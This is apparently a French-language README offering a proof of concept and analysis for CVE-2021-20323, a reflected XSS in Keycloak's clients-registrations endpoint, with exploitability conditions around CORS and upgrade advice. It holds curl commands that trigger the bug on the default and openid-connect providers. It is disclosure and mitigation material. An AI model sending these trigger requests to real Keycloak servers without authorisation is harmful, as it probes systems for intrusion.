
Preuve de concept et analyse pour CVE-2021-20323, une vulnérabilité XSS réfléchie dans le point de terminaison clients-registrations de Keycloak, avec conditions d'exploitation, recommandations d'atténuation et liens vers les avis officiels.
Keycloak avant la version 18.0.0 et après la version 10.0.0 contient un XSS réfléchi sur le point de terminaison clients-registrations. Le bug est déclenché en fournissant, par POST, une structure JSON avec une clé comme nom de paramètre qui n'est pas prise en charge par le point de terminaison. La réponse renvoie la clé JSON dans un message d'erreur avec l'en-tête défini sur Content-Type: text/html. Lorsqu'elle est exécutée dans un navigateur, le code HTML de la clé JSON est interprété, ce qui permet de déclencher du code JavaScript. Aucune authentification n'est requise et le bug impacte tous les realms disponibles.
Actuellement, en raison du bug nécessitant Content-Type: application/json et soumis via un POST, il n'existe pas de moyen courant d'exploitation ayant un impact utilisateur.
Ce dépôt fournit une POC pour CVE-2021-20323 et des recommandations de correction/atténuation.
Le bug est très simple à déclencher.
curl -v -X POST {BaseURL}/realms/master/clients-registrations/default -H "Content-type: application/json" -d "{\"\":1}"
Il est également possible de le déclencher avec le fournisseur openid-connect.
curl -v -X POST {BaseURL}/realms/master/clients-registrations/openid-connect -H "Content-type: application/json" -d "{\"\":1}"
Remarque : sur les versions plus anciennes de Keycloak (celles fonctionnant avec wildfly plutôt que quarkus), le chemin de base utilise /auth/realms/* au lieu de /realms/*
Comme on peut le voir dans plusieurs sources ici ou la, il n'est généralement pas possible d'exploiter un XSS POST réfléchi nécessitant Content-Type: application/json pour être vulnérable. Le seul cas où cela pourrait se produire est si la politique CORS a été assouplie manuellement par rapport à la configuration par défaut pour autoriser les requêtes cross-origin. Ce scénario n'est raisonnablement envisageable que dans des cas d'utilisation très spécifiques, pour des raisons fonctionnelles décidées par le propriétaire de l'application. Pour être exploitable dans un tel cas, l'attaquant doit soit contrôler le domaine/serveur autorisé par la politique CORS, soit disposer d'un XSS sur ce second domaine pouvant servir de relais.
Avec CVE-2021-20323, Keycloak n'accepte pas les POST avec un Content-Type de multipart/form-data ou application/x-www-form-urlencoded, qui sont les deux seuls types autorisés dans une soumission de form basique. Cela rend CVE-2021-20323 exploitable uniquement si CORS l'autorise explicitement.
# curl -X POST {BaseURL}/realms/master/clients-registrations/default -H "Content-type: multipart/form-data" -d "{\"\":1}"
{"error":"RESTEASY003065: Cannot consume content type"}
# curl -X POST {BaseURL}/realms/master/clients-registrations/default -H "Content-type: application/x-www-form-urlencoded" -d "{\"\":1}"
{"error":"RESTEASY003065: Cannot consume content type"}
Mettez à jour vers Keycloak 18.0.0 ou une version ultérieure.
Aucune version corrigée connue pour RedHat Single Sign-On, qui est une version reconditionnée de Keycloak par RedHat.
clients-registrationsclients-registrations, de manière similaire à ce billet de blog KeycloakMIT License © [ndmalc]